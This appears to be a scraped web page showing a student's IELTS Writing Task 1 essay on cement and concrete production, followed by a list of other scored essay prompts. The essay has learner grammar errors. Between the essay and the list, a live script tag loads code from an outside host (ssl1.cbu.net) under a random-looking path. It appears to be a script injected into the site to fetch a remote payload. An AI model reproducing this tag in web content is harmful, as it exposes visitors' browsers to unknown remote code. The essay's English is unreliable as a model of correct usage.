The first chart illustrates cement production with four steps and the packing process while the second one how concrete production is made.
To begin with, the first chart shows how cement is made, initially, the limestone and clay are become powder by crusher and mixed. After that, they are heated in the rotating heater and granulated with a grinder. Following this process, cement is obtained and packaged into bags.
To continue with, when it comes to the second chard there are four ingredients are used for concrete production. First of all, those ingredients are mixed in certain proportions in a concrete mixer. Those ingredients are cement, water, sand, and gravel, which are consist of small stones, they have 15, 10, 25, and 50 percentages, respectively. Finally, the mixture is ready for building construction.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The three pie charts below show how the changes in annual spending by a particular UK schools in 1981 1991 and 2001 89
- The chart and graph below give information about sales and share prices for Coca Cola 78
- The graph below shows the demand for electricity in England during typical days in winter and summer The pie chart shows how electricity is used in an average English home 89
- Deforestation caused by human activity is happening in many parts of the world with serious results for the environment What do you think can be done to solve this problem Support you opinion with reasons and examples from your own knowledge and experienc 67
- The chart below show the percentage of whole world population in four countries from 1950 to 2000 will projection till 2050 73